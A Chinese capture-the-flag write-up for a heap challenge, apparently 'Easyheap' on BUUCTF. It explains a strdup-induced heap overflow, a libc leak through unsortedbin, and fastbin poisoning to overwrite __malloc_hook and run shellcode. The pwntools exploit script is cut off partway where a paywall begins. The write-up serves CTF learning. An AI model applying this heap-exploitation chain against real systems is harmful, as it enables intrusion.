保护是全开。
开了一块空间,这块空间权限都有。
但是下面开了沙箱,ban了execve。
add

正常申请空间,写大小。
但是有个问题,我们输入要申请的空间大小之后,使用了一个strdup函数。
这个函数会根据你的字符串自动申请空间,那么就意味着我可以写0x500的大小,但是只输了一个字节。
就会造成溢出。
delete
清空了。
show
正常输出。
edit
编写。
所以我们整个看下来,存在的问题就是有堆溢出。
那么我们利用这个溢出,首先申请释放一个大的chunk,挂进unsortedbin。
然后通过溢出,将上一个chunk内容一直写到这个chunk的fd前面,然后输出的时候就可以把地址带出来。
然后我们攻击,我们通过fastbin posioning,攻击fd,先申请到0x23330000,将shellcode写进去,再攻击malloc_hook,把0x23330000写道malloc_hook就可以了。
exp
from pwn import*
context.log_level = "debug"
context.arch = "amd64"
r = remote("node4.buuoj.cn", "28994")
#r = process("./Easyheap")
libc = ELF("./64/libc-2.27.so")
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")
def add(size, content):
r.sendlineafter(">> :\n", "1")
r.sendlineafter("Size: \n", str(size))
r.sendlineafter(

本文详细分析了一个存在堆溢出漏洞的程序,通过申请和释放内存,利用Fastbin Poisoning策略篡改内存结构,最终实现对__malloc_hook的控制,从而执行自定义shellcode,获取程序控制权。该过程涉及到了内存管理、指针篡改和系统调用等关键知识点。
最低0.47元/天 解锁文章
3687

被折叠的 条评论
为什么被折叠?



